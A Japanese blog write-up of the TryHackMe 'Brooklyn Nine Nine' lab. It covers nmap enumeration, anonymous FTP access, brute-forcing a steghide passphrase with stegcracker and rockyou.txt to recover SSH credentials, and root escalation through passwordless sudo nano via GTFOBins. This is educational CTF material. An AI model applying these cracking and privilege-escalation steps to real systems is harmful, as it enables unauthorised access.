ステガノグラフィの解析【TryHackMe-BrooklynNine Nine-Writeup】

brooklynの街並み
※当サイトはプロモーションが含まれています

こんにちは、ぎんたです。

今回はTryHackMeで提供されている「BrooklynNine Nine」というルームの攻略の過程を記事にしています

こちらの「BrooklynNine NineのURL」でアクセスできます。

今回のCTFは画像に隠された機密情報を抽出することを体験できるものとなっています

Steghide、StegCrackerを使用した画像に隠された情報を抽出する方法に興味のある方

GTFOBinsを利用した権限昇格について知りたい方

CTFに興味のある方

が今回の対象です。

無料でアクセス可能なので、試してみたい方はぜひやってみてください。

目次

ポートスキャンによるサービスの列挙

nmapでポートスキャンを行います。

以下のコマンドを使用します。

nmap -sV -sC -T4 10.10.219.62

  • -sV :サービスのバージョン列挙
  • -sC :サービスに対するデフォルトスクリプトの実行
  • -T4 : 高速モードで実行

実行した結果の一部

21/tcp open  ftp     vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_-rw-r–r–    1 0        0             119 May 17  2020 note_to_jake.txt

| ftp-syst:

|   STAT:

| FTP server status:

|      Connected to ::ffff:10.10.212.188

|      Logged in as ftp

|      TYPE: ASCII

|      No session bandwidth limit

|      Session timeout in seconds is 300

|      Control connection is plain text

|      Data connections will be plain text

|      At session startup, client count was 1

|      vsFTPd 3.0.3 – secure, fast, stable

|_End of status

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)

|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)

|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (EdDSA)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Site doesn’t have a title (text/html).

MAC Address: 02:4F:24:40:AA:1B (Unknown)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

内容を確認したところ、ftp、ssh、httpのサービスが動作していることが分かります。

ftpは匿名ログインができそうなので、何か有用な情報が見つかるかを調査してみます

FTPの確認

ftp 10.10.219.62

で接続し、ユーザ名:anonymous、パスワードは無しで試します。

Name (10.10.219.62:root): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

このように、匿名ログインに成功しました。

lsコマンドで有用なファイルやディレクトリが無いかを探します

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r–r–    1 0        0             119 May 17  2020 note_to_jake.txt

226 Directory send OK.

ファイルを確認できましたので、攻撃者側の端末にダウンロードします。

ftp> get note_to_jake.txt

local: note_to_jake.txt remote: note_to_jake.txt

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).

226 Transfer complete.

119 bytes received in 0.01 secs (19.5378 kB/s)

ダウンロードしたファイルの内容を確認したところ、「弱いパスワードを使用しているのでパスワードを変えるように促されている」ことが分かりました。

From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

次にWebサーバを調査します。

Web Serverの確認

Webサーバをブラウザで閲覧するも、ログイン画面のようなものはありません。

画面上で右クリックして「Inspect Element」を選択し、有用な情報が無いかを確認します。

Webサイトのホーム画面

htmlのコードを調査したところ、「steganography」という文字を確認しました。

「steganography」はデータの中に別の情報を埋め込み隠す技術ですので、ホーム画面に使われている画像の中に情報が隠されている可能性があります。

brooklyn99.jpgを攻撃側の端末にダウンロードし、ツールを用いて隠された情報を調査します。

「steganography」により画像に隠された情報を抽出する

AttackBoxにすでにインストールされている、「Steghide」を使います。

このツールを使用することで、画像の中に隠蔽された情報を抽出することができます。

steghide extract -sf brooklyn99.jpg

-sf : 解析対象のファイル

このコマンドを実行したものの、パスワードを求められてしまい抽出に失敗しました。

Enter passphrase:

steghide: can not uncompress data. compressed data is corrupted.

画像に隠蔽された情報を取得するためにパスワードが必要です。

今のところどこにも手がかりがないため、パスワードクラックを試みたいと思います。

AttackBoxにはすでに「StegCracker」という、パスワードをブルートフォースで攻撃するツールがインストールされていました。

パスワードクラックに使用する辞書を「rockyou.txt」とし、以下のコマンドで実施します。

「rockyou.txt」もAttackBoxにすでに存在します。

stegcracker brooklyn99.jpg /usr/share/wordlists/rockyou.txt

数分実施したのちに、パスワードを解読できました。

StegCrackerパスワード解析に成功
こころ

ftpの調査で「弱いパスワードを使用している」ことについての言及があったが、本当に弱いパスワードだったよ。

パスワードが分かったので、再度steghideを使い隠蔽された情報の抽出を試みたところ、

note.txtというファイルを発見しました。

中身を確認すると、sshで利用できそうな認証情報が記載されていました

steghideの情報抽出成功

sshで記載された認証情報を試みたところログインに成功し、ユーザのフラグを取得できました

userフラグ取得

nanoエディタを用いた権限昇格

sudo権限のチェックのため、「sudo -l」コマンドを実施します。

holt@brookly_nine_nine:~$ sudo -l

Matching Defaults entries for holt on brookly_nine_nine:

    env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User holt may run the following commands on brookly_nine_nine:

    (ALL) NOPASSWD: /bin/nano

パスワード無しで、nanoコマンドでsudoを行うことができることが判明しました。

sudoを利用した権限昇格を行うため、「GTFOBinsのサイト」を使って方法を確認します。

また、GTFOBinsについて解説している別の記事もありますので、よろしければご覧ください。

こちらが調査したURLです「GTFOBinsのURL」。

GTFOBinsでのnanoの調査

ここに記載の方法を実施します。

「sudo nano」コマンドを実施後nanoエディタが起動するので、そこで、「^R^X」と入力するとコマンドが打てるようになります。

一番下のコマンドを入力することで、root権限のシェルを獲得できます。

無事にrootフラグを取得できました。

rootフラグの取得

まとめ

今回は、画像に隠された機密情報を抽出することを体験できるCTFを紹介しました。

振り返り
  • nmapによる列挙でftp、ssh、httpが稼働していることが判明。
  • ftpで匿名ログインに成功、パスワードが脆弱であることが判明。
  • Webサイトの調査で、トップ画像の中に情報が隠されていることが判明。
  • Steghide、StegCrackerを使用し、画像に隠されたsshで利用できる認証情報を抽出した。
  • sshで抽出した認証情報を用いてログインに成功、ユーザフラグを取得。
  • sudo権限を確認し、パスワード無しでnanoコマンドをsudoで実行できることが判明。
  • GTFOBinsのサイトでnanoエディタの権限昇格の方法を調査し試したところ、root権限のシェルになり、rootフラグを取得。

今回の記事が参考になれば幸いです。

以上、ぎんたでした。

サイバーセキュリティを学ぶ上で必要な攻撃と解析に関する他の記事は、以下のリンクで確認できます。

学習に関しましては、以下のセキュリティの勉強法、おすすめの学習本・動画の記事が多くの方に読まれています。

資格の記事については以下の記事がおすすめです。

ITエンジニアへの転職については以下の記事がおすすめです。

その他学習・転職関連に関しましては、以下の記事もあわせて読まれています。

ぜひご覧ください!

よかったらシェアしてね!
目次